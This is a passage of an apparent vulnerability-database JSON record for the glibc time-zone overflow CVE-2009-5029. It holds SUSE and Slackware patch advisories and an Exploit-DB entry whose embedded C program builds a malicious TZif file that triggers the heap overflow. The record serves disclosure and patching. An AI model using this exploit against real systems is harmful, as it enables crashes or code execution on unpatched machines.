"glibc-locale-x86-2.4-31.97.1.ia64.rpm", "arch": "ia64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-locale", "packageFilename": "glibc-locale-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc", "packageFilename": "glibc-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-devel-64bit", "packageFilename": "glibc-devel-64bit-2.4-31.97.1.ppc.rpm", "arch": "ppc", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-dceext-64bit", "packageFilename": "glibc-dceext-64bit-2.4-31.97.1.ppc.rpm", "arch": "ppc", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-html", "packageFilename": "glibc-html-2.4-31.97.1.s390x.rpm", "arch": "s390x", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-profile-64bit", "packageFilename": "glibc-profile-64bit-2.4-31.97.1.ppc.rpm", "arch": "ppc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-32bit", "packageFilename": "glibc-32bit-2.4-31.97.1.s390x.rpm", "arch": "s390x", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-info", "packageFilename": "glibc-info-2.4-31.97.1.i586.rpm", "arch": "i586", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-i18ndata", "packageFilename": "glibc-i18ndata-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-info", "packageFilename": "glibc-info-2.4-31.97.1.ia64.rpm", "arch": "ia64", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-html", "packageFilename": "glibc-html-2.4-31.97.1.i586.rpm", "arch": "i586", "operator": "lt"}], "description": "The following bug has been fixed:\n\n * Specially crafted time zone files could cause a heap\n overflow in glibc.\n", "edition": 1, "reporter": "Suse", "published": "2012-01-05T12:36:28", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "type": "suse", "title": "Security update for glibc (important)", "bulletinFamily": "unix", "cvelist": ["CVE-2009-5029"], "modified": "2012-01-05T12:36:28", "id": "SUSE-SU-2012:0055-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2012-01/msg00037.html", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "slackware": [{"lastseen": "2018-02-02T18:11:34", "references": [], "affectedPackage": [{"OS": "Slackware", "OSVersion": "13.1", "packageVersion": "2.11.1", "arch": "i486", "packageName": "glibc-profile", "packageFilename": "glibc-profile-2.11.1-i486-6_slack13.1.txz", "operator": "lt"}, {"OS": "Slackware", "OSVersion": "13.37", "packageVersion": "2.13", "arch": "x86_64", "packageName": "glibc-profile", "packageFilename": "glibc-profile-2.13-x86_64-5_slack13.37.txz", "operator": "lt"}, {"OS": "Slackware", "OSVersion": "13.37", "packageVersion": "2.13", "arch": "i486", "packageName": "glibc-profile", "packageFilename": "glibc-profile-2.13-i486-5_slack13.37.txz", "operator": "lt"}, {"OS": "Slackware", "OSVersion": "13.1", "packageVersion": "2.11.1", "arch": "x86_64", "packageName": "glibc", "packageFilename": "glibc-2.11.1-x86_64-6_slack13.1.txz", "operator": "lt"}, {"OS": "Slackware", "OSVersion": "13.1", "packageVersion": "2.11.1", "arch": "i486", "packageName": "glibc-i18n", "packageFilename": "glibc-i18n-2.11.1-i486-6_slack13.1.txz", "operator": "lt"}, {"OS": "Slackware", "OSVersion": "13.37", "packageVersion": "2.13", "arch": "i486", "packageName": "glibc-i18n", "packageFilename": "glibc-i18n-2.13-i486-5_slack13.37.txz", "operator": "lt"}, {"OS": "Slackware", "OSVersion": "13.37", "packageVersion": "2.13", "arch": "x86_64", "packageName": "glibc-i18n", "packageFilename": "glibc-i18n-2.13-x86_64-5_slack13.37.txz", "operator": "lt"}, {"OS": "Slackware", "OSVersion": "13.1", "packageVersion": "2.11.1", "arch": "x86_64", "packageName": "glibc-profile", "packageFilename": "glibc-profile-2.11.1-x86_64-6_slack13.1.txz", "operator": "lt"}, {"OS": "Slackware", "OSVersion": "13.1", "packageVersion": "2.11.1", "arch": "i486", "packageName": "glibc", "packageFilename": "glibc-2.11.1-i486-6_slack13.1.txz", "operator": "lt"}, {"OS": "Slackware", "OSVersion": "13.37", "packageVersion": "2.13", "arch": "i486", "packageName": "glibc", "packageFilename": "glibc-2.13-i486-5_slack13.37.txz", "operator": "lt"}, {"OS": "Slackware", "OSVersion": "13.37", "packageVersion": "2.13", "arch": "x86_64", "packageName": "glibc-solibs", "packageFilename": "glibc-solibs-2.13-x86_64-5_slack13.37.txz", "operator": "lt"}, {"OS": "Slackware", "OSVersion": "13.37", "packageVersion": "2.13", "arch": "i486", "packageName": "glibc-solibs", "packageFilename": "glibc-solibs-2.13-i486-5_slack13.37.txz", "operator": "lt"}, {"OS": "Slackware", "OSVersion": "13.37", "packageVersion": "2.13", "arch": "x86_64", "packageName": "glibc", "packageFilename": "glibc-2.13-x86_64-5_slack13.37.txz", "operator": "lt"}, {"OS": "Slackware", "OSVersion": "13.37", "packageVersion": "2.13", "arch": "noarch", "packageName": "glibc-zoneinfo", "packageFilename": "glibc-zoneinfo-2.13-noarch-5_slack13.37.txz", "operator": "lt"}, {"OS": "Slackware", "OSVersion": "13.37", "packageVersion": "2.13", "arch": "noarch", "packageName": "glibc-zoneinfo", "packageFilename": "glibc-zoneinfo-2.13-noarch-5_slack13.37.txz", "operator": "lt"}, {"OS": "Slackware", "OSVersion": "13.1", "packageVersion": "2.11.1", "arch": "noarch", "packageName": "glibc-zoneinfo", "packageFilename": "glibc-zoneinfo-2.11.1-noarch-6_slack13.1.txz", "operator": "lt"}, {"OS": "Slackware", "OSVersion": "13.1", "packageVersion": "2.11.1", "arch": "noarch", "packageName": "glibc-zoneinfo", "packageFilename": "glibc-zoneinfo-2.11.1-noarch-6_slack13.1.txz", "operator": "lt"}, {"OS": "Slackware", "OSVersion": "13.1", "packageVersion": "2.11.1", "arch": "i486", "packageName": "glibc-solibs", "packageFilename": "glibc-solibs-2.11.1-i486-6_slack13.1.txz", "operator": "lt"}, {"OS": "Slackware", "OSVersion": "13.1", "packageVersion": "2.11.1", "arch": "x86_64", "packageName": "glibc-i18n", "packageFilename": "glibc-i18n-2.11.1-x86_64-6_slack13.1.txz", "operator": "lt"}, {"OS": "Slackware", "OSVersion": "13.1", "packageVersion": "2.11.1", "arch": "x86_64", "packageName": "glibc-solibs", "packageFilename": "glibc-solibs-2.11.1-x86_64-6_slack13.1.txz", "operator": "lt"}], "description": "New glibc packages are available for Slackware 13.1, 13.37, and -current to\nfix a security issue.\n\n\nHere are the details from the Slackware 13.37 ChangeLog:\n\npatches/packages/glibc-2.13-i486-5_slack13.37.txz: Rebuilt.\n Patched an overflow in tzfile. This was evidently first reported in\n 2009, but is only now getting around to being patched. To exploit it,\n one must be able to write beneath /usr/share/zoneinfo, which is usually\n not possible for a normal user, but may be in the case where they are\n chroot()ed to a directory that they own.\n For more information, see:\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-5029\n (* Security fix *)\npatches/packages/glibc-i18n-2.13-i486-5_slack13.37.txz: Rebuilt.\npatches/packages/glibc-profile-2.13-i486-5_slack13.37.txz: Rebuilt.\n (* Security fix *)\npatches/packages/glibc-solibs-2.13-i486-5_slack13.37.txz: Rebuilt.\n (* Security fix *)\npatches/packages/glibc-zoneinfo-2.13-noarch-5_slack13.37.txz: Rebuilt.\n\nWhere to find the new packages:\n\nThanks to the friendly folks at the OSU Open Source Lab\n(http://osuosl.org) for donating FTP and rsync hosting\nto the Slackware project! :-)\n\nAlso see the &quot;Get Slack&quot; section on http://slackware.com for\nadditional mirror sites near you.\n\n\nUpdated packages for Slackware 13.1:\nftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/glibc-2.11.1-i486-6_slack13.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/glibc-i18n-2.11.1-i486-6_slack13.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/glibc-profile-2.11.1-i486-6_slack13.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/glibc-solibs-2.11.1-i486-6_slack13.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/glibc-zoneinfo-2.11.1-noarch-6_slack13.1.txz\n\nUpdated packages for Slackware x86_64 13.1:\nftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/glibc-2.11.1-x86_64-6_slack13.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/glibc-i18n-2.11.1-x86_64-6_slack13.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/glibc-profile-2.11.1-x86_64-6_slack13.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/glibc-solibs-2.11.1-x86_64-6_slack13.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/glibc-zoneinfo-2.11.1-noarch-6_slack13.1.txz\n\nUpdated packages for Slackware 13.37:\nftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/glibc-2.13-i486-5_slack13.37.txz\nftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/glibc-i18n-2.13-i486-5_slack13.37.txz\nftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/glibc-profile-2.13-i486-5_slack13.37.txz\nftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/glibc-solibs-2.13-i486-5_slack13.37.txz\nftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/glibc-zoneinfo-2.13-noarch-5_slack13.37.txz\n\nUpdated packages for Slackware x86_64 13.37:\nftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/glibc-2.13-x86_64-5_slack13.37.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/glibc-i18n-2.13-x86_64-5_slack13.37.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/glibc-profile-2.13-x86_64-5_slack13.37.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/glibc-solibs-2.13-x86_64-5_slack13.37.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/glibc-zoneinfo-2.13-noarch-5_slack13.37.txz\n\nUpdated packages for Slackware -current:\nftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/a/glibc-solibs-2.14.1-i486-4.txz\nftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/a/glibc-zoneinfo-2011i_2011n-noarch-4.txz\nftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/l/glibc-2.14.1-i486-4.txz\nftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/l/glibc-i18n-2.14.1-i486-4.txz\nftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/l/glibc-profile-2.14.1-i486-4.txz\n\nUpdated packages for Slackware x86_64 -current:\nftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/a/glibc-solibs-2.14.1-x86_64-4.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/a/glibc-zoneinfo-2011i_2011n-noarch-4.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/l/glibc-2.14.1-x86_64-4.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/l/glibc-i18n-2.14.1-x86_64-4.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/l/glibc-profile-2.14.1-x86_64-4.txz\n\n\nMD5 signatures:\n\nSlackware 13.1 packages:\nc7f0d5af7b32d6259272956bf1621ce0 glibc-2.11.1-i486-6_slack13.1.txz\nd80c53f769a30b407e303eb440e326e3 glibc-i18n-2.11.1-i486-6_slack13.1.txz\n6b9eb872a8368a13d71cecf8e031d2be glibc-profile-2.11.1-i486-6_slack13.1.txz\nba34c30c27d42c61190979884e8b8697 glibc-solibs-2.11.1-i486-6_slack13.1.txz\n74afbffcfb20ac6235945930a8a0ac57 glibc-zoneinfo-2.11.1-noarch-6_slack13.1.txz\n\nSlackware x86_64 13.1 packages:\na9bfcb4a0fde94a9355ecce905bb3ba4 glibc-2.11.1-x86_64-6_slack13.1.txz\n6f7df8a5ac48f364fff364f679430ea5 glibc-i18n-2.11.1-x86_64-6_slack13.1.txz\n1590ae7b50153b2d28489b9192126120 glibc-profile-2.11.1-x86_64-6_slack13.1.txz\n067bcd52acc3552bf2a77126fd12605e glibc-solibs-2.11.1-x86_64-6_slack13.1.txz\nce56ec387a50c00425d4dcf88ba71ee2 glibc-zoneinfo-2.11.1-noarch-6_slack13.1.txz\n\nSlackware 13.37 packages:\ndacaa396b83346f0313e85356ba496ad glibc-2.13-i486-5_slack13.37.txz\ne6238c92c6a97a56274d91e342e2ef07 glibc-i18n-2.13-i486-5_slack13.37.txz\naca444c2c834c1bbbb1fdcd08f381f5d glibc-profile-2.13-i486-5_slack13.37.txz\n04db99e0770b06af713322daa35f9463 glibc-solibs-2.13-i486-5_slack13.37.txz\nfe22b8ba56e8a14d025943d6a53f0a22 glibc-zoneinfo-2.13-noarch-5_slack13.37.txz\n\nSlackware x86_64 13.37 packages:\nab90f9581621a4b9e1f41fdd1c583a25 glibc-2.13-x86_64-5_slack13.37.txz\nd82fef5b1e734c9fd9aee358139dccaa glibc-i18n-2.13-x86_64-5_slack13.37.txz\nf26848e2ef7a2ed367a73fded8d51e2a glibc-profile-2.13-x86_64-5_slack13.37.txz\n1f4b8e716764c98c7c261fb7d7c19557 glibc-solibs-2.13-x86_64-5_slack13.37.txz\n553c32ce3937c8700dde84bad4b5467c glibc-zoneinfo-2.13-noarch-5_slack13.37.txz\n\nSlackware -current packages:\ncc98a5b0a120a3350b17d087af3a2163 a/glibc-solibs-2.14.1-i486-4.txz\nb549864a76c55b71f385eaf9077cf6ac a/glibc-zoneinfo-2011i_2011n-noarch-4.txz\n8522cbc56aec9af6c9c8e58fb5ee71c4 l/glibc-2.14.1-i486-4.txz\n98561de06536ce17b221774f39316933 l/glibc-i18n-2.14.1-i486-4.txz\n8a7ac4e4796eaefc6447222f7ce6eedf l/glibc-profile-2.14.1-i486-4.txz\n\nSlackware x86_64 -current packages:\n83121e8a4e8e46d2faa58221382f914c a/glibc-solibs-2.14.1-x86_64-4.txz\n8245bc6fb5e59fa905df708391bd3f89 a/glibc-zoneinfo-2011i_2011n-noarch-4.txz\nca3c22ff543e900bfd4516ba4af7cf34 l/glibc-2.14.1-x86_64-4.txz\ne2650c24a1a69138f544e98d8653f2a9 l/glibc-i18n-2.14.1-x86_64-4.txz\n23c2f013552e8a0561168897866fcb53 l/glibc-profile-2.14.1-x86_64-4.txz\n\n\nInstallation instructions:\n\nUpgrade the packages as root:\n > upgradepkg glibc-2.13-i486-5_slack13.37.txz glibc-i18n-2.13-i486-5_slack13.37.txz glibc-profile-2.13-i486-5_slack13.37.txz glibc-solibs-2.13-i486-5_slack13.37.txz glibc-zoneinfo-2.13-noarch-5_slack13.37.txz", "edition": 1, "reporter": "Slackware Linux Project", "published": "2012-02-10T09:44:30", "title": "glibc", "type": "slackware", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "bulletinFamily": "unix", "cvelist": ["CVE-2009-5029"], "modified": "2012-02-10T09:44:30", "href": "http://www.slackware.com/security/viewer.php?l=slackware-security&y=2012&m=slackware-security.806982", "id": "SSA-2012-041-03", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "exploitdb": [{"lastseen": "2016-02-04T03:26:33", "osvdbidlist": ["77508"], "references": [], "edition": 1, "description": "GNU glibc Timezone Parsing Remote Integer Overflow Vulnerability. CVE-2009-5029. Dos exploit for linux platform", "reporter": "dividead", "published": "2009-06-01T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "type": "exploitdb", "title": "GNU glibc Timezone Parsing Remote Integer Overflow Vulnerability", "bulletinFamily": "exploit", "cvelist": ["CVE-2009-5029"], "modified": "2009-06-01T00:00:00", "id": "EDB-ID:36404", "href": "https://www.exploit-db.com/exploits/36404/", "sourceData": "source: http://www.securityfocus.com/bid/50898/info\r\n\r\nGNU glibc is prone to an remote integer-overflow vulnerability.\r\n\r\nAn attacker can exploit this issue to execute arbitrary code with the privileges of the user running an application that uses the affected library. \r\n\r\n#include <stdio.h>\r\n#include <stdint.h>\r\n#include <time.h>\r\n#include <string.h>\r\n \r\n#define TZ_MAGIC \"TZif\"\r\n \r\n#define PUT_32BIT_MSB(cp, value) \\\r\n do { \\\r\n (cp)[0] = (value) >> 24; \\\r\n (cp)[1] = (value) >> 16; \\\r\n (cp)[2] = (value) >> 8; \\\r\n (cp)[3] = (value); \\\r\n } while (0)\r\n \r\nstruct tzhead {\r\n char tzh_magic[4];\r\n char tzh_version[1];\r\n char tzh_reserved[15];\r\n char tzh_ttisgmtcnt[4];\r\n char tzh_ttisstdcnt[4];\r\n char tzh_leapcnt[4];\r\n char tzh_timecnt[4];\r\n char tzh_typecnt[4];\r\n char tzh_charcnt[4];\r\n};\r\n \r\nstruct ttinfo\r\n {\r\n long int offset;\r\n unsigned char isdst;\r\n unsigned char idx;\r\n unsigned char isstd;\r\n unsigned char isgmt;\r\n };\r\nint main(void)\r\n{\r\n struct tzhead evil;\r\n int i;\r\n char *p;\r\n42\r\n uint32_t total_size;\r\n uint32_t evil1, evil2;\r\n \r\n /* Initialize static part of the header */\r\n memcpy(evil.tzh_magic, TZ_MAGIC, sizeof(TZ_MAGIC) - 1);\r\n evil.tzh_version[0] = 0;\r\n memset(evil.tzh_reserved, 0, sizeof(evil.tzh_reserved));\r\n memset(evil.tzh_ttisgmtcnt, 0, sizeof(evil.tzh_ttisgmtcnt));\r\n memset(evil.tzh_ttisstdcnt, 0, sizeof(evil.tzh_ttisstdcnt));\r\n memset(evil.tzh_leapcnt, 0, sizeof(evil.tzh_leapcnt));\r\n memset(evil.tzh_typecnt, 0, sizeof(evil.tzh_typecnt));\r\n \r\n /* Initialize nasty part of the header */\r\n evil1 = 500;\r\n PUT_32BIT_MSB(evil.tzh_timecnt, evil1);\r\n \r\n total_size = evil1 * (sizeof(time_t) + 1);\r\n total_size = ((total_size + __alignof__ (struct ttinfo) - 1)\r\n & ~(__alignof__ (struct ttinfo) - 1));\r\n \r\n /* value of chars, to get a malloc(0) */\r\n evil2 = 0 - total_size;\r\n PUT_32BIT_MSB(evil.tzh_charcnt, evil2);\r\n p = (char *)&evil;\r\n for (i = 0; i < sizeof(evil); i++)\r\n printf(\"%c\", p[i]);\r\n \r\n /* data we overflow with */\r\n for (i = 0; i < 50000; i++)\r\n printf(\"A\");\r\n}\r\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/36404/"}]}}